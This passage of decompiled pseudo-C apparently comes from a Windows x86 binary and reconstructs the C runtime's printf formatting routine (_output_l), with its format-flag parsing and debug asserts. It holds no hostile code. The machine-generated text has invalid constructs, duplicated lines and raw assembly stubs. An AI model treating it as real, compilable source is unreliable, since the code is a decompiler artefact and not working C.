															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2bc);
																__eax = E004285A0(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
															}
														}
													}
													L207:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														 *(__ebp - 0x20) = L0041C6E0( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L209:
														 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
														 *((intOrPtr*)(_t524 + 0xc)) =  *((intOrPtr*)(_t524 + 0xc)) + 1;
														if( *(_t524 - 0x251) == 0 ||  *(_t524 - 0x24c) < 0) {
															break;
														} else {
															if( *(_t524 - 0x251) < 0x20 ||  *(_t524 - 0x251) > 0x78) {
																 *(_t524 - 0x2fc) = 0;
															} else {
																 *(_t524 - 0x2fc) =  *( *(_t524 - 0x251) + 0x404460) & 0x0000000f;
															}
														}
														L7:
														 *(_t524 - 0x250) =  *(_t524 - 0x2fc);
														_t19 =  *(_t524 - 0x250) * 8; // 0x6000006
														 *(_t524 - 0x25c) =  *( *(_t524 - 0x25c) + _t19 + 0x404480) >> 4;
														 *(_t524 - 0x300) =  *(_t524 - 0x25c);
														if( *(_t524 - 0x300) > 7) {
															continue;
														}
														L8:
														switch( *((intOrPtr*)( *(_t524 - 0x300) * 4 +  &M004283F8))) {
															case 0:
																L9:
																 *(_t524 - 0xc) = 0;
																_t483 = E00431490( *(_t524 - 0x251) & 0x000000ff, E0041AFF0(_t524 - 0x40));
																_t528 = _t526 + 8;
																if(_t483 == 0) {
																	L15:
																	E00428500( *(_t524 - 0x251) & 0x000000ff,  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																	_t526 = _t528 + 0xc;
																	goto L209;
																} else {
																	E00428500( *((intOrPtr*)(_t524 + 8)),  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																	_t528 = _t528 + 0xc;
																	_t509 =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																	 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																	_t513 =  *((intOrPtr*)(_t524 + 0xc)) + 1;
																	 *((intOrPtr*)(_t524 + 0xc)) = _t513;
																	asm("sbb eax, eax");
																	 *(_t524 - 0x278) =  ~( ~( *(_t524 - 0x251)));
																	if(_t513 == 0) {
																		_push(L"(ch != _T(\'\\0\'))");
																		_push(0);
																		_push(0x486);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		_t495 = L0041E520();
																		_t528 = _t528 + 0x14;
																		if(_t495 == 1) {
																			asm("int3");
																		}
																	}
																	L13:
																	if( *(_t524 - 0x278) != 0) {
																		goto L15;
																	} else {
																		 *((intOrPtr*)(L00423010(_t509))) = 0x16;
																		E00422DA0(_t497, _t509, _t522, _t523, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																		 *(_t524 - 0x2e4) = 0xffffffff;
																		E0041AFC0(_t524 - 0x40);
																		_t478 =  *(_t524 - 0x2e4);
																		goto L211;
																	}
																}
															case 1:
																L16:
																 *(__ebp - 0x2c) = 0;
																__edx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																__eax =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__ecx =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) = __ecx;
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L209;
															case 2:
																L17:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																__eflags =  *(__ebp - 0x304) - 0x10;
																if( *(__ebp - 0x304) > 0x10) {
																	goto L24;
																}
																L18:
																__ecx =  *(__ebp - 0x304);
																_t63 = __ecx + 0x428430; // 0x498d04
																__edx =  *_t63 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00428418))) {
																	case 0:
																		goto L21;
																	case 1:
																		goto L22;
																	case 2:
																		goto L20;
																	case 3:
																		goto L19;
																	case 4:
																		goto L23;
																	case 5:
																		goto L24;
																}
															case 3:
																L25:
																__edx =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__eax =  *(__ebp - 0x18);
																	__eax =  *(__ebp - 0x18) * 0xa;
																	__eflags = __eax;
																	__ecx =  *((char*)(__ebp - 0x251));
																	_t87 = __ecx - 0x30; // -48
																	__edx = __eax + _t87;
																	 *(__ebp - 0x18) = __eax + _t87;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x18) = E004285E0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	}
																}
																L30:
																goto L209;
															case 4:
																L31:
																 *(__ebp - 0x30) = 0;
																goto L209;
															case 5:
																L32:
																__eax =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__edx =  *(__ebp - 0x30);
																	__edx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __edx;
																	_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																	__ecx = __edx + _t98;
																	 *(__ebp - 0x30) = __ecx;
																} else {
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x30) = E004285E0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L209;
															case 6:
																L38:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																__eflags =  *(__ebp - 0x308) - 0x2e;
																if( *(__ebp - 0x308) > 0x2e) {
																	L61:
																	goto L209;
																}
																L39:
																__ecx =  *(__ebp - 0x308);
																_t106 = __ecx + 0x428458; // 0x7d0f9003
																__edx =  *_t106 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M00428444))) {
																	case 0:
																		L44:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x36;
																		if( *( *(__ebp + 0xc)) != 0x36) {
																			L47:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x33;
																			if( *( *(__ebp + 0xc)) != 0x33) {
																				L50:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x64;
																				if( *( *(__ebp + 0xc)) == 0x64) {
																					L56:
																					L58:
																					goto L61;
																				}
																				L51:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x69;
																				if( *__ecx == 0x69) {
																					goto L56;
																				}
																				L52:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x6f;
																				if(__ecx == 0x6f) {
																					goto L56;
																				}
																				L53:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x75;
																				if( *( *(__ebp + 0xc)) == 0x75) {
																					goto L56;
																				}
																				L54:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x78;
																				if( *__ecx == 0x78) {
																					goto L56;
																				}
																				L55:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x58;
																				if(__ecx != 0x58) {
																					 *(__ebp - 0x25c) = 0;
																					goto L9;
																				}
																				goto L56;
																			}
																			L48:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x32;
																			if( *((char*)(__ecx + 1)) != 0x32) {
																				goto L50;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) = __ecx;
																				goto L58;
																			}
																		}
																		L45:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x34;
																		if( *((char*)(__ecx + 1)) != 0x34) {
																			goto L47;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) = __ecx;
																			goto L58;
																		}
																	case 1:
																		L59:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		goto L61;
																	case 2:
																		L40:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6c;
																		if(__ecx != 0x6c) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L61;
																	case 3:
																		L60:
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		goto L61;
																	case 4:
																		goto L61;
																}
															case 7:
																L62:
																__ecx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x30c) = __ecx;
																 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
																 *(__ebp - 0x30c) =  *(__ebp - 0x30c) - 0x41;
																__eflags =  *(__ebp - 0x30c) - 0x37;
																if( *(__ebp - 0x30c) > 0x37) {
																	while(1) {
																		L181:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
																}
																L63:
																_t147 =  *(__ebp - 0x30c) + 0x4284c4; // 0xcccccc0d
																__ecx =  *_t147 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M00428488))) {
																	case 0:
																		L114:
																		 *(__ebp - 0x2c) = 1;
																		__ecx =  *((char*)(__ebp - 0x251));
																		__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																		__eflags = __ecx;
																		 *((char*)(__ebp - 0x251)) = __cl;
																		goto L115;
																	case 1:
																		L64:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		}
																		goto L66;
																	case 2:
																		L79:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L81;
																	case 3:
																		L137:
																		 *(__ebp - 0x260) = 7;
																		goto L139;
																	case 4:
																		L72:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x284) = E004285E0(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x284);
																		if( *(__ebp - 0x284) == 0) {
																			L74:
																			__edx =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																			L78:
																			goto L181;
																		}
																		L73:
																		__ecx =  *(__ebp - 0x284);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x284);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x284);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x284);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x284);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L78;
																		}
																		goto L74;
																	case 5:
																		L115:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__eax = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L117:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L120:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L122:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041BA60(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__eax =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__eax =  *(__ebp + 0x14);
																				_t274 = __eax - 8; // 0xe852f855
																				__ecx =  *_t274;
																				_t275 = __eax - 4; // 0xbc20
																				__edx =  *_t275;
																				 *(__ebp - 0x2a0) =  *_t274;
																				 *(__ebp - 0x29c) =  *_t275;
																				__ecx = __ebp - 0x40;
																				_push(E0041AFF0(__ebp - 0x40));
																				__eax =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__ecx =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__edx =  *((char*)(__ebp - 0x251));
																				_push( *((char*)(__ebp - 0x251)));
																				__eax =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__ecx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__edx = __ebp - 0x2a0;
																				_push(__ebp - 0x2a0);
																				__eax =  *0x440374; // 0xc0d8c8fb
																				__eax =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AFF0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xc0d7763b
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																				if( *((char*)(__ebp - 0x251)) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AFF0(__ebp - 0x40));
																						__eax =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__ecx =  *0x44037c; // 0xc0d772bb
																						E00424860(__ecx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__edx =  *(__ebp - 4);
																				__eax =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__edx =  *(__ebp - 4);
																					__edx =  *(__ebp - 4) + 1;
																					__eflags = __edx;
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																				do {
																					L181:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L207;
																					}
																					goto L182;
																				} while ( *(__ebp - 0x30c) > 0x37);
																				goto L63;
																			}
																			L118:
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags = __ecx - 0x67;
																			if(__ecx != 0x67) {
																				goto L120;
																			}
																			L119:
																			 *(__ebp - 0x30) = 1;
																			goto L122;
																		}
																		L116:
																		 *(__ebp - 0x30) = 6;
																		goto L122;
																	case 6:
																		L66:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			L70:
																			__ebp + 0x14 = E004285E0(__ebp + 0x14);
																			 *(__ebp - 0x280) = __ax;
																			__cl =  *(__ebp - 0x280);
																			 *(__ebp - 0x248) = __cl;
																			 *(__ebp - 0x24) = 1;
																			L71:
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			while(1) {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			}
																		}
																		L67:
																		 *(__ebp - 0x27c) = 0;
																		__edx = __ebp + 0x14;
																		__eax = E00428620(__ebp + 0x14);
																		 *(__ebp - 0x258) = __ax;
																		__eax =  *(__ebp - 0x258) & 0x0000ffff;
																		__ecx = __ebp - 0x248;
																		__edx = __ebp - 0x24;
																		 *(__ebp - 0x27c) = E004344A0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																		__eflags =  *(__ebp - 0x27c);
																		if( *(__ebp - 0x27c) != 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																		L69:
																		goto L71;
																	case 7:
																		L135:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		goto L144;
																	case 8:
																		L100:
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x294) = E004285E0(__ebp + 0x14);
																		__eax = E00434180();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L110:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				__edx =  *(__ebp - 0x294);
																				__eax =  *(__ebp - 0x24c);
																				 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																			} else {
																				__eax =  *(__ebp - 0x294);
																				 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			}
																		}
																		L101:
																		__edx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x314) = 0;
																		} else {
																			 *(__ebp - 0x314) = 1;
																		}
																		__eax =  *(__ebp - 0x314);
																		 *(__ebp - 0x298) =  *(__ebp - 0x314);
																		__eflags =  *(__ebp - 0x298);
																		if( *(__ebp - 0x298) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L0041E520();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x298);
																		if( *(__ebp - 0x298) != 0) {
																			L109:
																			while(1) {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			}
																		} else {
																			L108:
																			 *((intOrPtr*)(L00423010(__ecx))) = 0x16;
																			__eax = E00422DA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x2e8) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E0041AFC0(__ecx);
																			__eax =  *(__ebp - 0x2e8);
																			L211:
																			return E0042BF30(_t478, _t497,  *(_t524 - 0x48) ^ _t524, _t513, _t522, _t523);
																		}
																	case 9:
																		L142:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E004285E0(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004285E0(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E004285E0(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2ac) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004285E0(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E00428600(__ebp + 0x14);
																				 *(__ebp - 0x2ac) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E00428600(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L161;
																		}
																	case 0xa:
																		goto L0;
																	case 0xb:
																		L81:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x310) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x310) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x310);
																		 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E004285E0(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			L92:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x288) =  *(__ebp - 4);
																			while(1) {
																				L95:
																				__ecx =  *(__ebp - 0x28c);
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L96:
																				__eax =  *(__ebp - 0x288);
																				__ecx =  *( *(__ebp - 0x288));
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L97:
																				 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																				 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																			}
																			L98:
																			__eax =  *(__ebp - 0x288);
																			__eax =  *(__ebp - 0x288) -  *(__ebp - 4);
																			__eflags = __eax;
																			 *(__ebp - 0x24) = __eax;
																			goto L99;
																		} else {
																			L85:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0x440f84; // 0x404468
																				 *(__ebp - 4) = __eax;
																			}
																			 *(__ebp - 0xc) = 1;
																			__ecx =  *(__ebp - 4);
																			 *(__ebp - 0x290) =  *(__ebp - 4);
																			while(1) {
																				L88:
																				__edx =  *(__ebp - 0x28c);
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																				__eflags =  *(__ebp - 0x28c);
																				if( *(__ebp - 0x28c) == 0) {
																					break;
																				}
																				L89:
																				__ecx =  *(__ebp - 0x290);
																				__edx =  *( *(__ebp - 0x290)) & 0x0000ffff;
																				__eflags =  *( *(__ebp - 0x290)) & 0x0000ffff;
																				if(( *( *(__ebp - 0x290)) & 0x0000ffff) == 0) {
																					break;
																				}
																				L90:
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																			}
																			L91:
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) -  *(__ebp - 4);
																			__ecx =  *(__ebp - 0x290) -  *(__ebp - 4) >> 1;
																			 *(__ebp - 0x24) = __ecx;
																			L99:
																			while(1) {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			}
																		}
																	case 0xc:
																		L136:
																		 *(__ebp - 8) = 0xa;
																		while(1) {
																			L144:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
